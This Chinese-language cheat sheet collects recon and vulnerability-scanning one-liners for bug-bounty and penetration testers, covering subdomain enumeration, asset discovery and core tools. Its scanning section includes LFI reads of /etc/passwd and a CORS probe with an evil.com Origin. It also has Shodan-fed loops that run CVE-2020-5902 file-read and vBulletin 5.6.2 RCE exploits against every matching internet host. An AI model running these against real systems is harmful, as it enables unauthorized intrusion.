在网络安全领域,侦察(Reconnaissance)和漏洞扫描是发现潜在安全风险的重要步骤。本文整合了一系列高效的命令行工具和脚本,涵盖子域名枚举、漏洞扫描、资产发现和信息提取等技术,旨在为安全研究人员和渗透测试人员提供实用参考,并展现一行代码的强大能力。
一、子域名枚举技术
子域名枚举是侦察阶段的核心,用于发现目标域名的所有子域名。以下是多种来源的子域名收集方法,优化为高效的命令行操作。
1. 从 RapidDNS.io 获取子域名
通过 RapidDNS.io 的子域名查询接口,快速获取目标域名的子域名列表。
curl -s "https://rapiddns.io/subdomain/$1?full=1#result" | grep "<td><a" | cut -d '"' -f 2 | grep http | cut -d '/' -f3 | sed 's/#results//g' | sort -u
2. 从 BufferOver.run 获取子域名
利用 BufferOver.run 的 DNS 查询接口,提取目标域名的子域名。
curl -s "https://dns.bufferover.run/dns?q=.$1" | jq -r '.FDNS_A[]' | cut -d ',' -f2 | sort -u
3. 从 Riddler.io 获取子域名
通过 Riddler.io 的导出功能,获取目标域名的子域名。
curl -s "https://riddler.io/search/exportcsv?q=pld:$1" | grep -Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u
4. 从 VirusTotal 获取子域名
利用 VirusTotal 的子域名查询接口,获取目标域名的子域名。
curl -s "https://www.virustotal.com/ui/domains/$1/subdomains?limit=40" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u
5. 从 CertSpotter 获取子域名
通过 CertSpotter 的证书透明度查询,获取目标域名的子域名。
curl -s "https://certspotter.com/api/v0/certs?domain=$1" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u
6. 从 Web Archive 获取子域名
利用 Web Archive 的历史记录,提取目标域名的子域名。
curl -s "http://web.archive.org/cdx/search/cdx?url=*.$1/*&output=text&fl=original&collapse=urlkey" | sed -e 's_https*://__' -e "s/\/.*//" | sort -u
7. 从 JLDC 获取子域名
通过 JLDC 的子域名查询接口,获取目标域名的子域名。
curl -s "https://jldc.me/anubis/subdomains/$1" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u
8. 从 SecurityTrails 获取子域名
利用 SecurityTrails 的子域名查询接口,获取目标域名的子域名。
curl -s "https://securitytrails.com/list/apex_domain/$1" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | grep ".$1" | sort -u
9. 从 crt.sh 获取子域名
通过 crt.sh 的证书透明度查询,获取目标域名的子域名。
curl -s "https://crt.sh/?q=%25.$1&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u
10. 从 Recon.dev 获取子域名
利用 Recon.dev 的 API,获取目标域名的子域名并进行存活检测。
curl "https://recon.dev/api/search?key=apikey&domain=$1" | jq -r '.[].rawDomains[]' | sed 's/ //g' | sort -u | httpx -silent
11. 子域名暴力枚举
使用 FFUF 结合词典进行子域名暴力枚举。
ffuf -u https://FUZZ.$1 -w jhaddixall.txt -v | grep "| URL |" | awk '{print $4}'
12. 子域名接管检测
结合多种子域名枚举工具和 subjack 检测子域名接管漏洞。
subfinder -d $1 >> domains.txt
assetfinder -subs-only $1 >> domains.txt
amass enum -norecursive -noalts -d $1 >> domains.txt
subjack -w domains.txt -t 100 -timeout 30 -ssl -c ~/go/src/github.com/haccer/subjack/fingerprints.json -v 3 >> takeover.txt
二、漏洞扫描技术
漏洞扫描是发现目标系统潜在安全问题的关键步骤。以下是针对常见漏洞的自动化扫描脚本。
1. 本地文件包含(LFI)
利用 gau 和 gf 工具检测本地文件包含漏洞,尝试读取 /etc/passwd 文件。
gau $1 | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
2. 开放重定向
检测开放重定向漏洞,通过替换参数并检查重定向到指定主机。
export LHOST="http://localhost"; gau $1 | gf redirect | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"'
3. 跨站脚本(XSS)
使用 gospider 和 dalfox 工具扫描 XSS 漏洞,过滤无关文件类型。
gospider -S targets_urls.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}' | grep "=" | qsreplace -a | dalfox pipe | tee result.txt
4. CVE-2020-5902 漏洞
检测 F5 BIG-IP 的 CVE-2020-5902 漏洞,尝试读取 /etc/passwd 文件。
shodan search http.favicon.hash:-335242539 "3992" --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host; do curl --silent --path-as-is --insecure "https://$host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" | grep -q root && printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n"; done
5. vBulletin 5.6.2 远程代码执行
检测 vBulletin 5.6.2 的远程代码执行漏洞,尝试执行 phpinfo()。
shodan search http.favicon.hash:-601665621 --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host; do curl -s "http://$host/ajax/render/widget_tabbedcontainer_tab_panel" -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();' | grep -q phpinfo && printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n"; done
6. CORS 误配置
检测跨源资源共享(CORS)配置漏洞,尝试使用恶意 Origin。
site="https://$1"; gau "$site" | while read url; do target=$(curl -s -I -H "Origin: https://evil.com" -X GET "$url"); if echo "$target" | grep -q 'https://evil.com'; then echo "[Potential CORS Found] $url"; else echo "Nothing on $url"; fi; done
三、资产与信息提取
资产发现和信息提取是侦察的重要组成部分,用于收集目标的 IP 地址、JavaScript 文件、API 端点等信息。
1. 查找 JavaScript 文件
从目标网站提取 JavaScript 文件并分析潜在变量。
assetfinder $1 | gau | egrep -v '(.css|.png|.jpeg|.jpg|.svg|.gif|.woff)' | while read url; do vars=$(curl -s "$url" | grep -Eo "var [a-zA-Z0-9_]+" | sed -e 's,var ,"$url"?,g' -e 's/ //g' | grep -v '.js' | sed 's/.*/&=xss/g'); echo -e "\e[1;33m$url\n\e[1;32m$vars"; done
2. 从 JavaScript 文件提取端点
从 JavaScript 文件中提取 API 端点。
cat main.js | grep -oh "\"\/[a-zA-Z0-9_/?=&]*\"" | sed -e 's/^"//' -e 's/"$//' | sort -u
3. 从 Swagger 文件提取端点
从 Swagger JSON 文件中提取 API 端点。
curl -s "https://$1/v2/swagger.json" | jq '.paths | keys[]'
4. 从 Sitemap.xml 提取 URL
从目标站点的 sitemap.xml 文件中提取所有 URL。
curl -s "https://$1/sitemap.xml" | xmllint --format - | grep -e 'loc' | sed -r 's|</?loc>||g'
5. 从 Content-Security-Policy 提取域名
通过 Content-Security-Policy 头信息提取相关域名。
curl -v -silent "https://$1" --stderr - | awk '/^content-security-policy:/' | grep -Eo "[a-zA-Z0-9./?=_-]*" | sed -e '/\./!d' -e '/[^A-Za-z0-9._-]/d' -e 's/^\.//' | sort -u
6. 提取 CIDR 和组织信息
从目标域名解析的 IP 地址中提取 CIDR 和组织信息。
for DOMAIN in $(cat domains.txt); do echo $(for ip in $(dig a "$DOMAIN" +short); do whois "$ip" | grep -e "CIDR\|Organization" | tr -s " " | paste - -; done | uniq); done
7. 从 IP 地址提取子域名
通过 HostHunter 工具从 IP 地址列表中提取虚拟主机和子域名。
python3 hosthunter.py target-ips.txt > vhosts.txt
8. 从 APK 文件提取端点
使用 apkurlgrep 从 Android APK 文件中提取 API 端点。
apkurlgrep -a path/to/file.apk
9. 从 APK 文件提取敏感信息
通过 apktool 解包 APK 文件并提取敏感信息(如 API 密钥、密码等)。
apktool d apk; grep -EHim "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|password|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into" APKfolder
10. 提取 IP 地址
从文件中提取所有合法的 IP 地址。
grep -E -o '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' file.txt
四、其他实用技术
1. 端口扫描(绕过 CloudFlare)
结合 subfinder、naabu 和 httprobe 进行端口扫描,绕过 CloudFlare 保护。
subfinder -silent -d $1 | filter-resolved | cf-check | sort -u | naabu -rate 40000 -silent -verify | httprobe
2. 创建自定义词典
从目标域名的 URL 中提取关键字和路径,生成自定义词典。
gau $1 | unfurl -u keys | tee -a wordlist.txt
gau $1 | unfurl -u paths | tee -a ends.txt
sed 's#/#\n#g' ends.txt | sort -u | tee -a wordlist.txt
sed -i -e 's/\.css\|\.png\|\.jpeg\|\.jpg\|\.svg\|\.gif\|\.woff\|\.bmp//g' wordlist.txt
rm ends.txt
3. 提取 HTTP 标题
从 URL 列表中提取网页标题信息。
for i in $(cat urls.txt); do echo "$i | $(curl --connect-timeout 0.5 "$i" -so - | grep -iPo '(?<=<title>)(.*)(?=</title>)')"; done | tee -a titles.txt
4. URL 探针
使用 parallel 和 curl 并发探测 URL 的状态码和响应大小。
cat alive-subdomains.txt | parallel -j50 -q curl -w 'Status:%{http_code}\tSize:%{size_download}\t%{url_effective}\n' -o /dev/null -sk
5. 从 IP 范围提取子域名
通过 Nmap 扫描 IP 范围并提取子域名。
nmap $1 | grep "domain" | awk '{print $5}'
6. 查找隐藏服务器或管理面板
使用 FFUF 进行虚拟主机枚举,查找隐藏服务器或管理面板。
ffuf -c -u "https://$1" -H "Host: FUZZ" -w vhost_wordlist.txt
7. 获取 Chaos Bugbounty 资产
从 Chaos Bugbounty 列表中提取目标域名的资产。
curl -sL https://github.com/projectdiscovery/public-bugbounty-programs/raw/master/chaos-bugbounty-list.json | jq -r '.programs[].domains | to_entries | .[].value'
8. 获取 Bounty Targets 资产
从多个赏金平台(如 HackerOne、BugCrowd 等)提取目标资产。
# HackerOne
curl -sL https://github.com/arkadiyt/bounty-targets-data/blob/master/data/hackerone_data.json?raw=true | jq -r '.[].targets.in_scope[] | [.asset_identifier, .asset_type] | @tsv'
# BugCrowd
curl -sL https://github.com/arkadiyt/bounty-targets-data/raw/master/data/bugcrowd_data.json | jq -r '.[].targets.in_scope[] | [.target, .type] | @tsv'
# Intigriti
curl -sL https://github.com/arkadiyt/bounty-targets-data/raw/master/data/intigriti_data.json | jq -r '.[].targets.in_scope[] | [.endpoint, .type] | @tsv'
# YesWeHack
curl -sL https://github.com/arkadiyt/bounty-targets-data/raw/master/data/yeswehack_data.json | jq -r '.[].targets.in_scope[] | [.target, .type] | @tsv'
# HackenProof
curl -sL https://github.com/arkadiyt/bounty-targets-data/raw/master/data/hackenproof_data.json | jq -r '.[].targets.in_scope[] | [.target, .type, .instruction] | @tsv'
# Federacy
curl -sL https://github.com/arkadiyt/bounty-targets-data/raw/master/data/federacy_data.json | jq -r '.[].targets.in_scope[] | [.target, .type] | @tsv'
五、总结与核心工具介绍
本文整合了多种网络安全侦察和漏洞扫描技术,涵盖子域名枚举、漏洞扫描、资产发现和信息提取等方面。从中可以看出,命令行工具的高效性和灵活性使其成为安全研究人员的首选。下面将精要介绍本文中常用的核心工具,帮助你快速构建自动化工作流。
1. Subfinder
功能:Subfinder 是一款快速子域名枚举工具,支持从多个来源(如 VirusTotal、CertSpotter、DNS 数据库等)收集子域名,适合大规模侦察。
主要用法:
- 枚举子域名:
subfinder -d example.com -o subdomains.txt
- 静默模式:
subfinder -silent -d example.com
- 指定来源:
subfinder -d example.com -sources virustotal,crtsh
快速上手:
- 安装:
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
- 配置 API 密钥:编辑
~/.config/subfinder/config.yaml
,添加 VirusTotal、SecurityTrails 等服务的 API 密钥。 - 运行简单命令:
subfinder -d example.com -o subdomains.txt
即可获取子域名列表。 - 提示:使用
-silent
减少输出噪音,结合httpx
验证存活域名。
2. Assetfinder
功能:Assetfinder 是一款轻量级子域名枚举工具,通过查询 crt.sh、VirusTotal 等服务快速发现子域名,适合初学者。
主要用法:
- 枚举子域名:
assetfinder example.com
- 仅输出子域名:
assetfinder --subs-only example.com
快速上手:
- 安装:
go install github.com/tomnomnom/assetfinder@latest
- 运行:
assetfinder example.com > subdomains.txt
- 提示:输出结果可直接管道到
httpx
或gau
进行进一步处理,例如assetfinder example.com | httpx -silent
。
3. Gau
功能:Gau(Get All URLs)用于从 Wayback Machine、Common Crawl 和 AlienVault OTX 等来源收集目标域名的历史和现存 URL,适合发现隐藏端点。
主要用法:
- 收集 URL:
gau example.com
- 指定来源:
gau --providers wayback example.com
- 过滤黑名单:
gau example.com --blacklist png,jpg,css
快速上手:
- 安装:
go install github.com/lc/gau/v2/cmd/gau@latest
- 运行:
gau example.com > urls.txt
- 提示:结合
gf
工具过滤特定漏洞模式,如gau example.com | gf xss
。
4. Httpx
功能:Httpx 是一款快速 HTTP 探针工具,用于验证域名或 URL 的存活性,并返回状态码、标题等信息,支持高并发。
主要用法:
- 验证存活:
httpx -l domains.txt
- 返回状态码:
httpx -l domains.txt -status-code
- 静默输出:
httpx -l domains.txt -silent
快速上手:
- 安装:
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
- 运行:
cat domains.txt | httpx -silent > live-domains.txt
- 提示:使用
-follow-redirects
跟踪重定向,-mc 200
过滤特定状态码。
5. GF
功能:GF(Grep Filter)是一个模式匹配工具,用于从输入数据中提取特定漏洞模式(如 XSS、LFI、SQLi),支持自定义规则。
主要用法:
- 提取 XSS 模式:
cat urls.txt | gf xss
- 提取 LFI 模式:
cat urls.txt | gf lfi
- 自定义模式:
gf -list
查看可用模式
快速上手:
- 安装:
go install github.com/tomnomnom/gf@latest
- 配置:复制示例模式
cp -r /path/to/gf/examples ~/.gf
- 运行:
gau example.com | gf xss > xss_urls.txt
- 提示:创建自定义模式文件(如
xss.json
)并放入~/.gf
目录以扩展功能。
6. Qsreplace
功能:Qsreplace 是一个 URL 参数替换工具,用于快速修改 URL 参数值,适合测试 XSS、开放重定向等漏洞。
主要用法:
- 替换参数值:
cat urls.txt | qsreplace "test"
- 替换所有参数:
cat urls.txt | qsreplace -a "test"
- 静默模式:
qsreplace "test" < urls.txt
快速上手:
- 安装:
go install github.com/tomnomnom/qsreplace@latest
- 运行:
cat urls.txt | qsreplace "<script>alert(1)</script>" > xss_test.txt
- 提示:结合
curl
或dalfox
进行自动化测试,如cat urls.txt | qsreplace "test" | xargs curl -s
.
7. Dalfox
功能:Dalfox 是一款强大的 XSS 扫描工具,支持自动化参数注入、过滤器绕过和结果验证。
主要用法:
- 扫描 URL:
dalfox url https://example.com
- 管道输入:
cat urls.txt | dalfox pipe
- 输出结果:
dalfox file urls.txt -o result.txt
快速上手:
- 安装:
go install github.com/hahwul/dalfox/v2@latest
- 运行:
cat urls.txt | dalfox pipe > xss_results.txt
- 提示:使用
--grep
指定自定义 payload,或结合gau
和qsreplace
提高效率。
8. FFUF
功能:FFUF(Fuzz Faster U Fool)是一款高性能模糊测试工具,用于子域名、虚拟主机、目录和参数枚举,支持自定义词典。
主要用法:
- 子域名枚举:
ffuf -u https://FUZZ.example.com -w wordlist.txt
- 虚拟主机枚举:
ffuf -u https://example.com -H "Host: FUZZ" -w vhosts.txt
- 过滤状态码:
ffuf -u https://example.com/FUZZ -w wordlist.txt -mc 200
快速上手:
- 安装:
go install github.com/ffuf/ffuf@latest
- 下载词典:使用 SecLists 或 jhaddixall.txt(
wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt
)。 - 运行:
ffuf -u https://FUZZ.example.com -w subdomains.txt
- 提示:调整
-t
(线程数)以优化性能,-mc
过滤无关状态码。
9. Naabu
功能:Naabu 是一款快速端口扫描工具,支持高并发和大规模 IP 扫描,适合发现开放服务。
主要用法:
- 扫描端口:
naabu -host example.com
- 扫描 IP 列表:
naabu -l ips.txt
- 高并发:
naabu -host example.com -rate 40000
快速上手:
- 安装:
go install github.com/projectdiscovery/naabu/v2/cmd/naabu@latest
- 运行:
naabu -l ips.txt -silent > open-ports.txt
- 提示:结合
httprobe
验证 HTTP 服务,如naabu -l ips.txt | httprobe
。
10. Jq
功能:Jq 是一款轻量级 JSON 数据处理工具,用于解析和提取 API 响应中的特定字段,广泛用于处理结构化数据。
主要用法:
- 提取字段:
cat data.json | jq -r '.field'
- 解析数组:
cat data.json | jq -r '.[].name'
- 格式化输出:
jq '.' data.json
快速上手:
- 安装:Linux(
sudo apt install jq
),Mac(brew install jq
)。 - 运行:
curl -s https://api.example.com | jq -r '.[].domain'
- 提示:使用
-r
输出纯文本,结合curl
处理 API 响应。
更多学习资源:参考工具的 GitHub 文档(如 Subfinder、Gau)或社区教程(如 HackTricks、Bugcrowd University)。